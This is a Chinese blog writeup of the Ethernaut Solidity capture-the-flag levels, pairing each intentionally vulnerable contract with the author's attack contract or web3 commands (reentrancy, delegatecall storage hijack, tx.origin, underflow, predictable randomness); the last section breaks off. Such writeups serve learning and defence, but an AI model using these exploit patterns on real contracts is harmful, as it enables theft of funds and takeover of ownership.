Zeppelin ethernaut writeup (更新至 22 題 Shop,2018-11-08)
很長時間都沒有更新部落格了,一個是確實這一長段的時間學的東西都很雜亂,另一方面是考慮到之後的論文害怕被查重的問題,不是特別想寫。加上實驗室的各種雜事和專案東西也沒時間玩玩比賽,成為了真正的只看 wp 的老年退役選手。
之前在學點前端開發的東西,egg+vue 相關的,找到一個論文的點,還沒來得及落筆。這最近主要在搞搞區塊鏈,主要點放在比特幣、以太坊和超級賬本上面把,想著把區塊鏈和工控結合一下,不過結合點很侷限,而且可能只有聯盟鏈還能有些結合點,當然結合點又會引發很多新的問題,還得多看多學。這種偏理論的東西還是思維沒開啟。不知道有師傅有想法沒有可以交流一下。
學習以太坊的時候把 ofollow,noindex">zeppelin ethernaut 的題目刷了一下,不過那天一看又多了兩個題目,乾脆寫個部落格算了。
hello ethernaut
教程關沒啥好說的,跟著提示一步步搞就行了
await contract.info() // "You will find what you need in info1()." await contract.info1() // "Try info2(), but with "hello" as a parameter." await contract.info2('hello') // "The property infoNum holds the number of the next info method to call." await contract.infoNum() // 42 await contract.info42() // "theMethodName is the name of the next method." await contract.theMethodName() // "The method name is method7123949." await contract.method7123949() // "If you know the password, submit it to authenticate()." await contract.password() // "ethernaut0" await contract.authenticate('ethernaut0')
help
可以看幫助, contract
就是你申請建立的合約節點的物件。
Fallback
說明 fallback 函式的作用,當然這裡說的 fallback
函式不是本關 Fallback 合約的構造方法。
這一關的目的是要成為合約節點的 owner 以及把合約節點上 ETHER 全部轉走。
看看合約內容
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract Fallback is Ownable { mapping(address => uint) public contributions; function Fallback() public { contributions[msg.sender] = 1000 * (1 ether); } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { owner.transfer(this.balance); } function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
成為 owner 有兩種辦法
- 通過
contribute
向它轉1000 ether
,而且每次轉賬要小於0.001 ether
,顯然不行。 - 通過 fallback 函式只要向它轉賬就行了。
為了滿足 fallback 的 contributions[msg.sender] > 0
要先呼叫一次 contribute 函式
如下:
await contract.contribute({value: 1}) await contract.sendTransaction({value: 1}) // 上兩步成為了 owner,下一步把合約的錢轉走 await contract.withdraw()
然後 submit 就通過了。
Fallout
這一關的目的也是成為 owner,原始碼如下:
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract Fallout is Ownable { mapping (address => uint) allocations; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate() public payable { allocations[msg.sender] += msg.value; } function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
這一關就有點無聊了,注意函式名 Fal1out()
,不是 Fallout()
,所以不是建構函式,直接呼叫就可以了
await contract.Fal1out({"value":1})
Coin Flip
勝利條件是連續贏 10 次硬幣翻轉就行了。
pragma solidity ^0.4.18; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
可以看到這裡正反面由上一個 block 的 hash 與一個固定值計算得出,那這種隨機是不安全的,我們可以部署一個 attack.sol
,提示也提示了用 remix。
pragma solidity ^0.4.18; contract CoinFlip { function CoinFlip() public {} function flip(bool _guess) public returns (bool) {} } contract attack{ address game; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor(address param){ game=param; } function go() public{ uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = blockValue / FACTOR; bool side = (coinFlip==1); CoinFlip a = CoinFlip(game); a.flip(side); } }
執行 10 次 go 就可以了。生成可靠的隨機數可能很棘手,目前還沒有生成它們的本地方法,因為在智慧合約中使用的所有內容都是公開可見的,包括標記為私有的區域性變數和狀態變數。
telephone
目的也是要成為合約的所有者。
pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
這裡區分一下 tx.origin
和 msg.sender
,
給定這樣一個場景如:使用者通過合約 A 調合約 B.
此時
- 對於合約 A :
tx.origin
和msg.sender
都是使用者。 - 對於合約 B :
tx.origin
是使用者 .msg.sender
是合約 A
origin ,字面意思根源,起源。
所以,這裡我們部署一個合約內容如下
pragma solidity ^0.4.18; contract Telephone { function Telephone() public {} function changeOwner(address _owner) public {} } contract attack{ address target; constructor(address param){ target = param; } function go(){ Telephone a = Telephone(target); a.changeOwner(msg.sender); } }
然後攻擊者呼叫 go 函式就可以了。
token
這個就是經典的整形溢位的問題了。
pragma solidity ^0.4.18; contract Token { mapping(address => uint) balances; uint public totalSupply; function Token(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
這裡原理是利用輸入的 value 大於 20,導致減完之後就會為負,溢位成為一個很大的正整數就可以了。
Delegation
這個題有點疑問,不過我只是覺得我的方法沒錯並且本地也可以成功,應該哪兒有點問題。
我自己測試程式碼如下:
pragma solidity ^0.4.18; contract Delegate { address public owner; function Delegate(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; function Delegation(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } function() public { if(delegate.delegatecall(msg.data)) { this; } } } contract attack{ function go(address param){ param.call(bytes4(keccak256("pwn()"))); } }
我依次部署 Delegate
和 Delegation
合約,然後再部署 attack 合約在地址 A,然後呼叫 go 函式傳入 Delegation
合約的地址,能夠成功修改其 owner,但是卻無法修改題目伺服器的 owner。
這裡其實主要思路就是 fallback 的觸發條件:
- 一是如果合約在被呼叫的時候,找不到對方呼叫的函式,就會自動呼叫 fallback 函式
- 二是隻要是合約收到別人傳送的 Ether 且沒有資料,就會嘗試執行 fallback 函式,此時
fallback
需要帶有payable 標記
。否則,合約就會拒絕這 Ether。
所以直接向例項的地址發起呼叫一個 pwn 函式的交易就可以了,然後就會自動進入到 fallback 函式體。這裡呼叫需要用 method id
(函式選擇器),比如 pwn 函式的 method id
就是 keccak256("pwn()"))
取前四個位元組,在 web3 中 sha3 就是 keccak256,所以是 web3.sha3("pwn()").substr(0,10)
。
所以最後結果就是
data=web3.sha3("pwn()").slice(0,10); await web3.eth.sendTransaction({from:player,to:instance,data:data,gas: 1111111},function(x,y){console.error(y)});
Force
這裡我們在上一關提到了關於接受轉賬的話要 fallback 函式為 payable,否則會拒絕收到的轉賬,但是有一個特例是無法拒絕其他合約通過呼叫 selfdestruct
自毀之後的資金轉移。
構造一個:
pragma solidity ^0.4.18; contract attack{ function () payable{ } function go(address param){ selfdestruct(param); } }
然後部署完了給這個合約轉點 ETHER,之後呼叫 go 函式即可。
Vault
參考連結:
https://solidity.readthedocs.io/en/v0.4.21/contracts.html#visibility-and-getters
https://hackernoon.com/your-private-solidity-variable-is-not-private-save-it-before-it-becomes-public-52a723f29f5e題目程式碼如下:
pragma solidity ^0.4.18; contract Vault { bool public locked; bytes32 private password; function Vault(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } }
private 變數不能被別的合約訪問,但是區塊鏈上的資訊是完全公開的,可以通過 web3 的 getStorage
函式獲取到。
1 表示目標合約的第二個變數
web3.eth.getStorageAt(address,1,function(x,y){console.info(y);});
之後 unlock 就可以了。
King
題目程式碼如下:
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract King is Ownable { address public king; uint public prize; function King() public payable { king = msg.sender; prize = msg.value; } function() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } }
開始還以為是一定要選手賬戶成為 king,後來才知道搞個別的賬戶成為 king 也可以,只需要阻止 level address
成為 king 就可以了。
那就寫個合約,不接受最後的 transfer 就可以了,這樣就會導致 contract 合約上的 tranfer 異常從而執行中斷。要想不接受轉賬就很簡單了,不寫帶 payable 的 fallback 函式、fallback 裡面利用 require() 丟擲異常或者 revert() 直接返回就可以了。
pragma solidity ^0.4.18; contract attack{ constructor(address param) public payable{ param.call.gas(10000000).value(msg.value)(); } }
Re-entrancy (X)
題目程式碼如下:
pragma solidity ^0.4.18; contract Reentrance { mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] += msg.value; } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } function() public payable {} }
比較典型的 DAO
攻擊事件的例子了。
本地私有鏈成功了,但是測試網死活失敗的,有點難受。
大概攻擊指令碼如下。
在測試網裡面,一旦呼叫 hack 函數了,就是賬戶裡面也沒有記錄,錢也到對面賬戶裡去了,人才兩空 23333.
pragma solidity ^0.4.18; contract Reentrance { mapping(address => uint) public balances; function donate(address _to) public payable { balances[_to] += msg.value; } function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; } function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { if(msg.sender.call.value(_amount)()) { _amount; } balances[msg.sender] -= _amount; } } function() public payable {} constructor() payable { } } contract Attack { address instance_address; Reentrance target ; uint cnt=2; function Attack(address param) payable{ instance_address = param; target = Reentrance(instance_address); } function donate() public payable { target.donate.value(0.5 ether)(this); } function () public payable { while(cnt>0){ cnt--; target.withdraw(0.5 ether); } } function hack() public { target.withdraw(0.5 ether); } function get_balance() public view returns(uint) { return target.balanceOf(this); } function my_eth_bal() public view returns(uint) { return address(this).balance; } function ins_eth_bal() public view returns(uint) { return instance_address.balance; } }
Elevator
題目程式碼如下:
pragma solidity ^0.4.18; interface Building { function isLastFloor(uint) view public returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } }
偽造一個合約在被呼叫 isLastFloor
,第一次返回 false,第二次返回 true 就可以了。
如下:
pragma solidity ^0.4.18; interface Building { function isLastFloor(uint) view public returns (bool); } contract Elevator { function goTo(uint _floor) public {} } contract attack is Building{ uint cnt=0; function isLastFloor(uint) view public returns (bool){ if(cnt == 0){ cnt++; return false; } else return true; } function go(address param){ Elevator a = Elevator(param); a.goTo(1); } }
Privacy
題目程式碼如下:
pragma solidity ^0.4.18; contract Privacy { bool public locked = true; uint256 public constant ID = block.timestamp; uint8 private flattening = 10; uint8 private denomination = 255; uint16 private awkwardness = uint16(now); bytes32[3] private data; function Privacy(bytes32[3] _data) public { data = _data; } function unlock(bytes16 _key) public { require(_key == bytes16(data[2])); locked = false; } /* A bunch of super advanced solidity algorithms... ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^,---/V\ `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.~|__(o.o) ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'UUUU */ }
要求解鎖 locked 就可以了,那很簡單,直接利用 web3 的 api, web3.eth.getStorageAt
就可以,依次獲取
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y){console.info(y);}) 0x000000000000000000000000000000000000000000000000000000d80cff0a01 web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y){console.info(y);}) 0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359 web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y){console.info(y);}) 0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668 web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y){console.info(y);}) 0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93 web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y){console.info(y);}) 0x0000000000000000000000000000000000000000000000000000000000000000 ....
根據 solidity 文件中的變數儲存原則,evm 每一次處理 32 個位元組,而不足 32 位元組的變數相互共享並補齊 32 位元組。
那麼我們簡單分析下題目中的變數們:
bool public locked = true;//1 位元組 01 uint256 public constant ID = block.timestamp; //32 位元組 uint8 private flattening = 10; //1 位元組 0a uint8 private denomination = 255;//1 位元組 ff uint16 private awkwardness = uint16(now);//2 位元組 bytes32[3] private data;
那麼第一個 32 位元組就是由 locked
、 flattening
、 denomination
、 awkwardness
組成,另外由於常量是無需儲存的,所以從第二個 32 位元組起就是 data。
那麼 data[2] 就是 0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
,
注意這裡進行了強制型別轉換將 data[2] 轉換成了 bytes16,那麼我們取前 16 位元組即可。
執行 unlock 即可。

Gatekeeper One (X)
題目程式碼如下:
pragma solidity ^0.4.18; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
很絕望,又是一個本地和私有鏈都能成功,遠端就是成功不了。
分析下程式碼,主要就是通過三個驗證:
gateOne
:這個通過部署一箇中間惡意合約即可繞過
gateTwo
:稍微難一點,我覺我遠端成功不了的原因就在這裡。 msg.gas
指的是執行到當前指令還剩餘的 gas 量,要能整除 8191。那我們只需要 81910+x
,x 為從開始到執行完 msg.gas
所消耗的 gas。網上的 wp 通篇一律的都是 x=215
,但是我 javascript VM
環境下調出來是 x=181
。但是兩個答案都是錯誤的。
那我更換一下編譯器,測出來如下:
0.4.13~0.4.17 : x=160 0.4.18~0.4.21 : x=181 0.4.22~0.4.25 : x=324
然後把這些都試過了,不出意外的都失敗了。最後貼一下程式碼
pragma solidity ^0.4.17; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract attack{ GatekeeperOne a; bytes8 _gateKey=bytes8(msg.sender) & 0xffffffff0000ffff; function attack(address instance) payable{ a=GatekeeperOne(instance); } function test(){ a.call.gas(10000)(bytes4(keccak256("enter(bytes8)")),_gateKey); } function hack(){ a.call.gas(81910+324)(bytes4(keccak256("enter(bytes8)")),_gateKey); } }
Gatekeeper Two
題目程式碼
pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
和上一題類似, gateOne
不多說了。
gateTwo
的話題幹給了提示黃皮書第 7 節:

(4) 的引用為

所以很明確了,初始化的時候合約還沒有完全建立,程式碼大小是為 0,那就意味著我們把攻擊的程式碼寫到合約的建構函式裡面去就可以了。
至於第三個直接異或就可以了。
pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract attack{ function attack(address param){ GatekeeperTwo a = GatekeeperTwo(param); bytes8 _gateKey =bytes8((uint64(0) - 1) ^ uint64(keccak256(this))); a.enter(_gateKey); } }
Naught Coin
題目程式碼如下:
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol'; contract NaughtCoin is StandardToken { string public constant name = 'NaughtCoin'; string public constant symbol = '0x0'; uint public constant decimals = 18; uint public timeLock = now + 10 years; uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals); address public player; function NaughtCoin(address _player) public { player = _player; totalSupply_ = INITIAL_SUPPLY; balances[player] = INITIAL_SUPPLY; Transfer(0x0, player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) lockTokens public returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(now > timeLock); _; } else { _; } } }
題目要求是把賬戶的所有錢轉光。
但是我們簡單看一下邏輯,如果我們要轉走所有的錢需要 10 年後才行,暫時也沒有發現邏輯中有問題的地方。
既然子合約沒有什麼問題,那我們看看 import 的父合約
StandardToken.sol ,其其實根據 ERC20 的標準我們也知道,轉賬有兩個函式,一個 transfer
一個 transferFrom
,題目中程式碼只重寫了 transfer
函式,那未重寫 transferFrom
就是一個可利用的點了。直接看看 StandardToken.sol
程式碼:
contract StandardToken { using ERC20Lib for ERC20Lib.TokenStorage; ERC20Lib.TokenStorage token; ... function transfer(address to, uint value) returns (bool ok) { return token.transfer(to, value); } function transferFrom(address from, address to, uint value) returns (bool ok) { return token.transferFrom(from, to, value); } ... }
跟進 ERC20Lib.sol
:
library ERC20Lib { ... function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) { self.balances[msg.sender] = self.balances[msg.sender].minus(_value); self.balances[_to] = self.balances[_to].plus(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) { var _allowance = self.allowed[_from](msg.sender); self.balances[_to] = self.balances[_to].plus(_value); self.balances[_from] = self.balances[_from].minus(_value); self.allowed[_from](msg.sender) = _allowance.minus(_value); Transfer(_from, _to, _value); return true; } ... function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) { self.allowed[msg.sender](_spender) = _value; Approval(msg.sender, _spender, _value); return true; } }
可以直接呼叫這個 transferFrom
即可了。但是 transferFrom
有一步許可權驗證,要驗證這個 msg.sender
是否被 _from
(實際上在這裡的情景的就是自己是否給自己授權了),那麼我們同時還可以呼叫 approve 給自己授權。
所以如下操作即可:
await contract.approve(player,1000000*(10*18)) await contract.transferFrom(player,instance,1000000*(10**18));
Preservation (X)
題目程式碼如下:
pragma solidity ^0.4.23; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
這裡就是主要利用 delegatecall
函式的特性,先介紹下:
delegatecall 用來呼叫其他合約、庫的函式,比如 a 合約中呼叫 b 合約的函式,執行該函式使用的 storage 是 a 的。舉個例子:
contract a{ uint public x1; uint public x2; function funca(address param){ param.delegate(bytes4(keccak256("funcb()"))); } } contract b{ uint public y1; uint public y2; function funcb(){ y1=1; y2=2; } }
上述合約中,一旦在 a 中呼叫了 b 的 funcb
函式,那麼對應 a 中 x1 就會等於,x2 就會等於 2。
在這個過程中實際 b 合約的 funcb
函式是把 storage 裡面的 slot 1
的值更換為了 1,把 slot 2
的值更換為了 2,那麼由於 delegatecall 的原因這裡修改的是 a 的 storage,對應就是修改了 x1,x2。
所以這個題就很好辦了,我們呼叫 Preservation
的 setFirstTime
函式時候實際通過 delegatecall 執行了 LibraryContract
的 setTime
函式,修改了 slot 1
,也就是修改了 timeZone1Library
變數。
這樣,我們第一次呼叫 setFirstTime
將 timeZone1Library
變數修改為我們的惡意合約的地址,第二次呼叫 setFirstTime
就可以執行我們的任意程式碼了。
如下:
pragma solidity ^0.4.23; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(setTimeSignature, _timeStamp); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(setTimeSignature, _timeStamp); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } } contract attack{ address public timeZone1Library; address public timeZone2Library; address public owner; function setTime(uint _time) public { timeZone1Library = address(_time); timeZone2Library = address(_time); owner=address(_time); } }
-
- 執行
contract.setFirstTime(addr)
,其中addr
為attack
合約的地址
- 執行
-
- 再執行
contract.setFirstTime(player)
即可成功修改 owner 為 player。
- 再執行
私有鏈成功了,但是題目伺服器沒有成功。
Locked
程式碼如下
pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false;// registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } }
這個就是典型的利用 struct 預設是 storage 的題目,具體介紹看上一篇部落格即可。
函式中宣告的 newRecord
,修改 name 和 mappedAddress
實際分別改的是 unlocked
和 bytes32 的 name
。所以我們把 name 對應的 slot 1
的值改成 1 就可以了。攻擊合約如下:
pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false;// registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } } contract attack{ function go(address param){ Locked a = Locked(param); a.register(bytes32(1),address(msg.sender)); } }
Recovery
程式碼如下:
pragma solidity ^0.4.23; contract Recovery { //generate tokens function generateToken(string _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { // public variables string public name; mapping (address => uint) public balances; // constructor constructor(string _name, address _creator, uint256 _initialSupply) public { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens function() public payable { balances[msg.sender] = msg.value*10; } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] -= _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address _to) public { selfdestruct(_to); } }
題目簡單來說就是已知一個 Recovery
合約地址,恢復一下它建立的 SimpleToken
合約的地址。
Method 1
這個我們直接看黃皮書第七節就可以了:

關於 nonce
的說明在第四節

簡單來說,我們可以總結如下:
new_addr = address(keccak256(RLP([sender_address,nonce])))
nonce 這裡很容易我們可以分析得到是 1
nonce=0
一般是智慧合約自己創造的事件
sender_address
就是我們得到的題目的 instance
的地址,這裡我的是 0x80e71134fa32b2bb01d6e611e48016aef574be40
。
根據 RLP 編碼的官方文件 ,我們拿到了編碼的 py 指令碼如下:
def rlp_encode(input): if isinstance(input,str): if len(input) == 1 and ord(input) < 0x80: return input else: return encode_length(len(input), 0x80) + input elif isinstance(input,list): output = '' for item in input: output += rlp_encode(item) return encode_length(len(output), 0xc0) + output def encode_length(L,offset): if L < 56: return chr(L + offset) elif L < 256**8: BL = to_binary(L) return chr(len(BL) + offset + 55) + BL else: raise Exception("input too long") def to_binary(x): if x == 0: return '' else: return to_binary(int(x / 256)) + chr(x % 256)
所以我們計算如下:
print rlp_encode(["80e71134fa32b2bb01d6e611e48016aef574be40".decode('hex'),"01".decode('hex')]).encode('hex') ''' $ python /tmp/rlp_encode.py d69480e71134fa32b2bb01d6e611e48016aef574be4001 '''
拿到結果 d69480e71134fa32b2bb01d6e611e48016aef574be4001
然後拿到 solidity 裡面計算地址
pragma solidity ^0.4.18; contract test{ function func() view returns (address){ return address(keccak256(0xd69480e71134fa32b2bb01d6e611e48016aef574be4001)); } }
得到結果 0xDD48155C966c68cc594a58ce84b67ce9B5CA058E
,這就是我們恢復出來的合約的地址,那麼我們可以直接利用 remix 的 at address
功能

然後再呼叫合約的 destroy
函式就能把所有的錢轉回去,從而解決該題目。
Method 2
當然我們還有更簡單的辦法:
要知道區塊鏈上所有的資訊都是公開的,我們直接上 ropsten 測試網的官方網頁查就可以了,搜尋 instance 地址 0x80e71134fa32b2bb01d6e611e48016aef574be40
,成功查到:

MagicNumber
參考連結: https://www.jianshu.com/p/d9137e87c9d3
這個題就是部署一個合約要求在被呼叫 whatIsTheMeaningOfLife()
函式時返回 0x42
就可以了。
但是有一個要求是不能超過 10 個 opcode。
這個題目中的有些問題我目前還不是特別清楚還需要研究,不過勉強能把這一關給過了。之後會單寫篇文章來解釋。
合約的 bytecode(位元組碼) 一般分為三個部分:(摘自參考連結)
// 部署程式碼,建立合約時執行部署程式碼,目的是建立合約並把合約程式碼 copy 過去 60606040523415600e57600080fd5b5b603680601c6000396000f300 // 合約程式碼,即實際執行邏輯,程式碼的主要部分,讓它返回 0x42 並且不超過 10 個 opcode 就可以了。 60606040525b600080fd00 // Auxdata,原始碼的加密指紋,用來驗證。可選。 a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029
先構造合約程式碼,實際上只需要這樣子的合約程式碼就夠了:
600a600c600039600a6000f3604260805260206080f3
Alien Codex
pragma solidity ^0.4.24; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function (bytes32[] _firstContactMessage) public { assert(_firstContactMessage.length > 2**200); contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; } }
OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol" target="_blank" rel="nofollow,noindex"> Ownable.sol
原始碼傳送門
這裡我們首先看到無論呼叫按個函式都需要過 contacted
函式修飾器。所以首先就要使 contact=true
,那麼就是要解決 make_contact
中的這個問題。
直接看 doc
https://solidity.readthedocs.io/en/v0.4.25/abi-spec.html#use-of-dynamic-types
這裡描述了動態陣列型別的 abi 標準,我們只需要構造長度的值就可以了。詳細的構造在後面。
接下來我們需要修改 owner,很容易知道,owner 儲存在 slot 0
裡面,和 contact
在同一個 slot,但是我們先簡單看下程式碼,只知道我們可以操作 codex 的值,codex 作為一個不定長的陣列,我們根據 doc
https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage
可以知道實際上在 slot 1
位置上儲存的是 codex 的 length,而 codex 的實際內容儲存在 keccak256(bytes32(1))
開始的位置。
Keccak-256 緊密打包的,意思是說引數不會補位,多個引數也會直接連線在一起。所以這裡要用 bytes32(1)
而不是 1
.
這樣我們就知道了 codex 實際的儲存的 slot,因為總共有 2**256
個 slot,我們想要修改 slot 0
,假設 codex 實際所在 slot x
, 那麼當我們修改 codex[y](y=2**256-x)
時就能因為溢位修改到 slot 0
,從而修改到 owner。
但是我們要修改 codex[y]
, 那就要滿足 y<codex.length
, 而這個時候我們 codex.length
的值很小,但是我們通過 retract
是 length 下溢然後就可以編輯 codex[y]
了。
所以接下來的操作很簡單了。
-
1.
